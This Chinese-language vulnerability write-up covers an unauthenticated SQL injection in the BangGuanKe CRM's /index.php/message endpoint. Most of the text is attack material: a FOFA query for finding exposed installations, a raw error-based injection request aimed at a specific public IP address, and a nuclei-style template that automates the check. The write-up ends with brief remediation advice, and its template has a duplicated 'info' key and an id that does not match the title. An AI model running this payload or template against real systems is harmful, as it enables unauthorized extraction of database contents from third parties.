B1-2帮管家-CRM-SQL

漏洞描述：

帮管客CRM客户管理系统/index.php/message接口存在sql注入漏洞，未经身份认证的攻击者可通过此漏洞获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

app="帮管客-CRM"

漏洞复现：

payload：

```
GET /index.php/message?page=1&pai=1%20and%20extractvalue(0x7e,concat(0x7e,(select+user%28%29),0x7e))%23&xu=desc HTTP/1.1
Host: 119.28.24.26:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Yaml模板

```
id: B1-3BangGuanJia-SQL
info:
  name: B1-3BangGuanJia-SQL
info:
  author: BeR09
  severity: critical
  description:
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/134631469
  tags: BangGuanJia,BangGuanKe,SQL

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/message?page=1&pai=1%20and%20extractvalue(0x7e,concat(0x7e,(select+user%28%29),0x7e))%23&xu=desc"
    headers:
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
      Accept-Encoding: gzip, deflate
      Connection: close
    matchers:
      - type: word
        words:
          - "XPATH syntax error: '~"
```

修复建议：

官方已发布安全版本，请用户联系厂商修复漏洞https://www.bgk100.com/ 部署Web应用防火墙，对数据库操作进行监控。 如非必要，禁止公网访问该系统。

参考链接：

https://blog.csdn.net/qq_41904294/article/details/134631469